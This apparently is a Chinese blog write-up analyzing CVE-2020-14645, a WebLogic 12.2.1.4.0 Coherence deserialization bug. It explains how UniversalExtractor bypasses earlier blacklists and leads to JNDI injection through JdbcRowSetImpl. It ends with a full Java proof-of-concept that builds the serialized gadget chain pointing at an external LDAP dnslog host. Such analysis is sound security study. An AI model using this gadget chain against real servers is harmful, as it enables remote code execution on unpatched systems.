WebLogic CVE-2020-14645分析
在经过 CVE-2020-2555
和 CVE-2020-2883
之后,WebLogic 把 MvelExtractor 和 ReflectionExtractor 列入反序列化黑名单,那么还怎么利用呢?这就有了 CVE-2020-14645
!
CVE-2020-14645
利用的是 WebLogic 12.2.1.4.0 Coherence
组件特有的 com.tangosol.util.extractor.UniversalExtractor
类,只有这个版本能用,因此比较局限
漏洞分析
调用链如下:
* PriorityQueue#readObject
* ExtractorComparator#compare
* UniversalExtractor#extract
* UniversalExtractor#extractComplex
* JdbcRowSetImpl#getDatabaseMetaData
* JdbcRowSetImpl#connect
先看到 ExtractorComparator 类,这个类实现了 Comparator 接口,因此可以用作 PriorityQueue 的比较器,看到 compare 方法,其调用了 this.m_extractor.extract
方法,m_extractor
属性和方法的参数 o1
都可控!
这里我们选择调用的是 UniversalExtractor#extract
方法,这个方法可以调用到 extractComplex 方法
跟 CVE-2020-2555
一样,这个方法通过 findMethod 反射获取一个指定参数的 oTarget 类的方法
通过 getCanonicalName 方法获取 sCName 变量值,这里跟进一下 getCanonicalName 方法
跟进一下 getValueExtractorCanonicalName 方法,可以知道 if 条件肯定不满足,返回值为 null
那么就调用 CanonicalNames#computeValueExtractorCanonicalName
方法,方法参数值可控!
根据上面的代码,我们需要让 sName 参数以 ()
结尾,参数 aoParam 长度为 0
,假如 sName 为 getDatabaseMetaData()
,则返回值为 databaseMetaData,如下例子就返回 databaseMetaData
回到 UniversalExtractor#extractComplex
方法获取到的就是 JdbcRowSetImpl#getDatabaseMetaData
方法
总结起来就是可以调用到任何类的任何 getXXX/isXXX
方法,这里调用 JdbcRowSetImpl#getDatabaseMetaData
方法
跟进 connect 方法,这里存在一个 JNDI 注入,DataSourceName 值可控!
POC
package com.supeream;
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.UniversalExtractor;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class POC03 {
public static void main(String[] args) throws Exception{
ExtractorComparator extractorComparator = new ExtractorComparator();
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
PriorityQueue priorityQueue = new PriorityQueue(2,extractorComparator);
UniversalExtractor universalExtractor = new UniversalExtractor("getDatabaseMetaData()",new Object[0],1);
Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor");
m_extractor.setAccessible(true);
m_extractor.set(extractorComparator,universalExtractor);
jdbcRowSet.setDataSourceName("ldap://dmosws.dnslog.cn");
priorityQueue.add(1);
priorityQueue.add(jdbcRowSet);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
objectOutputStream.flush();
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
}
总结
因为只能在 WebLogic 12.2.1.4.0 版本使用比较局限,但是从学习的角度来说还是要学习的!
Reference:
https://www.cnblogs.com/zpchcbd/p/15630412.html